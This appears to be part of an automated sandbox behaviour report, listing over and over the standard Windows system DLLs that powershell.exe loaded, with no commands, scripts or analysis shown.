Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
